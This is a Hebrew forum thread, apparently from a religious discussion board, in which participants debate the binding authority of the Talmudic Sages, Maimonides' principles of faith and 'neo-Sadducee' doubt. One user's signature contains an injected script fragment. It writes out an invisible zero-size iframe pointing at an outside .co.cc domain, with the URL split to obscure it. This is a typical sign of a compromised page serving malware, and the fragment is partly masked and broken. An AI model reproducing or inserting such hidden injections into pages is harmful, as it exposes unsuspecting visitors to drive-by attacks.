אלא שעדיין לא נסתיימה ההידרדרות.
מתברר שרוב עיקרי האמונה שלנו הם חז"ליים.
אין תחיית המתים.
אין שום הוכחה שספרי הנ"ך נכתבו ע"י נביאי אמת. (ואם נבדוק נגלה שחלק מנבואותיהם לא התגשמו - מה שאולי יוכיח שהם נביאי שקר)
אין הוכחה שהתורה לא נערכה/זויפה/שונתה במשך השנים.
אין הוכחה לכלום.
אין לי חלק לעולם הבא.
אין דרך לדעת אם יש למישהו חלק לעולם הבא.
אין דרך לדעת אם יש עולם הבא.
זוהי דרכו של יצר הרע. היום אומר לו עשה כך. למחר אומר לו עשה כך. עד שאומר לו לך עבוד עבודה זרה.

אריאל,
ראשית, לא הבנתי מהי ניאו צדוקיות, ומדוע יש חשש כזה ממנה.
לעצם דבריך, ברור שיש אצל חז"ל לא מעט טעויות, הן במציאות והן בהלכה. הם היו בני אדם כמוני וכמוך, ולצערנו אנשים טועים מדי פעם. כמו כן, ברור שדבריהם נאמרים על סמך תפיסותיהם, כמו כל אדם אחר.
אבל המחוייבות שלנו לדבריהם, שהיא רק במישור ההלכתי (והיכא שאין טעות דמוכח), אינה מבוססת על אותנטיות (כלומר שלכך הקב"ה מתכוין, או שכך הוא מסר בסיני). המחוייבות מבוססת על זה שקיבלנו זאת על עצמנו (ראה כס"מ רפ"ב מממרים). לקבלה הזאת יש הסברים מצויינים (זו אחת ההחלטות הנבונות ביותר שאני מכיר בהיסטוריה). אם היו מקבעים את ההלכה בקודכס של השו"ע כמשהו מחייב, לא היה נשאר ממנה דבר (כי זה בלתי אפשרי). ואם לא היו מקבעים מאומה, שוב לא היה נשאר ממנה דבר (כי הפיזור בכל קצווי העולם היה יוצר שונות ופזר את ההלכה, וממילא גם את היהדות, לכל עבר). לכן החליטו לקבע מסגרת של מו"מ ודיון ולא אוסף של הלכות חתוכות. זוהי ראייה למרחוק, וזה מה שהביא אותנו עד הלום.
אבל כמו כל דבר בהלכה, את הכללים יש לקחת בעירבון מוגבל, ובמקום שיש סיבות טובות מאד לסטות מהמחוייבות הזאת עושים גם את זה.
אגב, את 13 העיקרים קבע הרמב"ם. מדבריך נראה כאילו שהם ירדו מסיני, וכעת באת לחדש שרובם הם מדברי חז"ל ולכן יש בעייה. אין שום בעייה, ואם אתה לא מקבל משהו מהם אז לא. אתה בחברה טובה (היו עוד שלא קיבלו).

תוקן על ידי mdabraham ב- 06/07/2014 01:19:06

ועיין בקונטרס דברי סופרים לרב אלחנן וסרמן מהו תוקף קבלו עליהם ,,
וזה לשונו , .ונראה מדברי הרמבים שהסכמת כל  חכמי ישראל או רובן יש  להן הכח של בי"ד הגדול וחייבין כל  'ישראל לשמוע להן כמו לביד הגדול  , http://hebrewbooks.org/pdfpager.aspx?req=39409&st=&pgnum=14

וכבר האריך בזה גם ר"ש פישר בספרו בית ישי דרשות, סי' טו.
אגב, הוא מושפע מהראי"ה קוק, וכידוע בירור העניין הזה נעשה כבר אצלו. ועוד אציין שגם רא"ו כבחור צעיר בחופשות מוולוז'ין למד חברותא עם הראי"ה בבויסק שהיה רב העיר, ולא מן הנמנע שהושפע ממנו בזה.

מיכי
אתה בטויח שהתוצאה של קביעת מסגרת למו"מ היתה פרי של ראיה למרחקים ולא מקרית ומושפעת משקולים פרקטיים שהיו תקפים אז?

אריאל

האם אתה מבטא בדבריך ביקורת כלפי הפורום שלנו, שמקדם ביקורת המוליכה לזלזול במקורות ובאמונות שלנו?

אם אתה מתאר תהליך אפשרי, אתה בהחלט צודק.

כל חשיפה של אדם לשאלה: מנלן? עלולה להביא לזריקת האמונה שעליה שואלים. ברגע שאני שואל נפער סדק ביני לבין האמונה. היא כבר מועמדת בסימן שאלה.

אמנם אין זו דווקא נחלת הפורום. יש זמן שזה קורה לכל אחד. קוראים לזה "גיל ההתבגרות" אם כי יש כאלו שמצליחים לברוח מן הפן הזה של הגיל הזה, ויש כאלו שהגיל הזה מגיע אליהם בשנים מאוחרות בהרבה.

בעיני, הפורום שלנו לא בא לעורר שאלות וספקות אלא לסייע למי שכבר מעלה שאלות וספקות. וזה הבדל גדול. אבל איני יכול להתיימר לכתוב מה חושבים ומה רוצים אחרים. אני יכול לספר מה כוונתי שלי.

עוד אוסיף שזה שיש שאלה, או "ספק" בתור אחד השימושים במילה "ספק", זו לא הוכחה שדבר לא נכון ובוודאי לא הצדקה להכרעה שיש להשליך את האמונה החוצה ועוד בכעס שטעיתי כה הרבה שנים. אבל צא וראה שכל הפורום מלא בדיונים כאלו.

אעיר מה שאני מציג תמיד אודות תהליכי ההתבגרות הפילוסופית:

כאשר אדם מתחיל לעשות סדר במחשבותיו ובאמונותיו, הוא ינסה לסדרן בשיטות. הנחות יסוד ומסקנות.

לגבי השקפות מסויימות, יתבאר לו שלמרות שזמן רב מאד התרגל להאמין, מאז ילדותו, שהן נכונות ומבוססות, מתברר שהביסוס רופף מכפי שידע.

רפיפות זו אינה בהכרח סימן לשקריותן (כלומר אי נכונותן). יש דברים שהם אמיתיים ורק אדם במצב של ספקנות פילוסופית (הדחיה של החיים לטובת המחשבה ברגעים של נינוחות במעבדה לפילוסופיה, כמו בפורום) או שהוא במצב של ספקנות פסיכולוגית (מצב של מצוקה נפשית שלפעמים מגיע לכדי מה שמכנים "בעיה נפשית" אבל פתרונו דווקא בידי הפילוסוף החכם ולאו דווקא הפסיכולוג או הפסיכיאטר) - מסוגל לערער עליהם באמת.

צא וראה: לפי יום, אין שום סיבה שלא אקפוץ מבנין גבוה בתקוה להגיע מה שיותר מהר לקרקע, ואין לי סיבה מוצדקת לחשוב שאתרסק. הרי זו רק האינדוקציה, שהיא מעל לכל התניה נפשית, שגורמת לי לפחד...

צא וראה: אם אני מתחיל לשאול איך אני יודע מה שאני יודע, אזי איני יודע אפילו מי הם הורי. אולי אני חטוף? אולי שיקרו לי כל ימי?

מסתבר שלא, אבל יתכן שכן.

יש דבר אחד, או סוג של דברים, שאני יכול לדעת: אני יכול לדעת שאם אני מזהה סתירה בין שתי אמונות, אחת מהן לא נכונה. ועדיין איני יודע מי המועמדת להיזרק.

אמנם כאשר אדם עובר ממצב של ודאות נפשית, של תמימות ילדותית, למצב של בגרות עם הספקות והמצבים האפורים שלה, אז הוא מתחיל לפחד שמא הוא מאמין מדי במה שלא ניתן להוכחה. בלי לשים לב או בלי לדעת שהוכחה היא ענין של רמות. והתביעה להוכחה מוחלטת הלכה לאיבוד עם ימי הבינים. היום אנו יודעים שזו דרישה בלתי אפשרית. שאדם חכם מאמין במה שעונה על הדרישות הפחות מחמירות שאנו מעמידים היום בפני עצמנו. כפי שכתב מיכי, להאמין במסורת שלנו, עם ביקורת מתונה ומוצדקת, זו החלטה נבונה מאד.

אז אני דוחה את המשואה, או תיאור התהליך שהצגת, בתור השמצה.

לא שסיכון כזה לא קיים.

והערה אחרונה: לא הבנתי מדוע התהליך הזה מוביל ל"נאו צדוקיות". מתוך הכרותי עם הצדוקיות (והגישות המתחלפות לגבי תכניה במחקר ההיסטורי) איני מבין איך אתה משתמש במונח הזה.

___תוקנו טעות הקלדה ועוד______________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");

פתיאמי, איזה ציטוט נפלא! 

תלמיד, אני לא בטוח. טענתי לא היתה היסטורית (כמה חכמים היו אלו שהחליטו) אלא מהותית (כמה חכמה היתה ההחלטה).

פתיאמי
הציטוט יפה, אך האם יקרא דחיי אינו עדיף מיקרא דשכבי?

צדוקיות: כפירה טוטאלית בסמכות חכמים ובנכונות התשבע"פ.

ניאו צדוקיות: כפירה במסורת חכמים - כפירה באמונה שתושבע"פ הגיעה מסיני.
קבלת סמכות חכמים כמחוקקים מסיבות שונות (לא תסור וכדו')


הרב מיכי, 1) לדבריך סמכות חז"ל היא סמכות חילונית? כמו חוקה לאומית של עם ישראל? אם כן אני מצהיר בזאת על סירוב לקבל על עצמי את החוקה הזאת. אם יש לקבלה הכללית של אבותינו סמכות דתית - סמכות מחייבת בעיני ה'- מהו המקור לכך בדבריו?

2) הנקודה שבאתי להדגיש, ואשמח מאד אם תענו לי עליה, היא שללא אמונה בחז"ל, כמעט כל עיקרי האמונה שלנו נמחקים - כולל האמונה שהתורה לא השתבשה במהלך השנים.
אמור מעתה- האדם החושב יגלה שהיהדות אינה נכונה. לעומת זאת, רסיסים קלושים ממנה נכונים. בלשון אחרת- הצדוקיות היא האמת, לכל היותר ניאו צדוקיות.

מה רע בזה? זה לא רע. זה עצוב.
אותו עצב ש(לא) יחושו הגויים לעתיד לבוא כש(לא) יאמרו אך שקר נחלו אבותינו הבל ואין בם מועיל.

בעל, טיבה של מסורת הוא שהיא מתחשבת במה שהיה אבל אין לזה מעמד קטגורי. זהו בדיוק השקלול בין המתים (שקולם שווה פחות) לחיים. יפהפה לדעתי.

אריאל,
היכן ראית זאת בדבריי. סמכות חכמים היא חלק מהמחוייבות לתורה שניתנה בסיני. התורה ניתנה על דעת שמה שנסכים עליו כפירוש מחייב הוא המחייב (לא תסור וכו'). נכון שזה דומה להסכמה חילונית, כמו שהתפילה היהודית דומה לנוצרית. שתיהן תפילה. האם זה אומר שמי שמתפלל את האחת יתפלל בהכרח גם את השנייה?
ואכן, אם אתה חולק על חז"ל (או בעצם על הרמב"ם) בעיקרי האמונה, אז אמונתך שונה משהו מאמונתם של אחרים. אז  מה? יש הרבה הבדלים בין אמונות יהודיות שונות? הניסיון ליצור אחדות הוא טשטוש מגמתי. כמובן שעולה השאלה עד כמה שונה זה יכול להיחשב עדיין יהודי? אין לי תשובה, וזה גם לא מעניין אותי. מה שמעניין אותי הוא מה (לדעתי) נכון ולא מיהו (לדעתי) יהודי. 

הרב מיכי,
1) איך בדיוק נלמד המחייב של קבלת העם מלא תסור?
2) שוב, זה לא רע. זאת פשוט המרת דת מיהדות קלאסית ליהדות צדוקית. דבר שהוא גדול בערך פי מאה ממעבר בין זרמים אורתודוכסיים שונים.
3) והאם אתה מסכים שאין ראיה לכל אותן אמונות שהזכרתי בהודעתי השנייה באשכול?

צדוקיות = קידוש הטקסט מול חכמים חיים. ולכן זו ע"ז כמו כל ע"ז.
אותו דבר צדוקיות מודרנית היא קידוש המתים (חז"ל ואחריהם) מול חכמים חיים. כפי שהספורנו זועק חמס על כך שאין לך אלהים אחרים יותר גדול מיזה.

ולכן כל הביקורת של פותח האשכול לא במקום כי ההפך הוא הנכון, כל קידוש של המתים מול חכמים חיים ?! היא היא הדרך הצדוקית.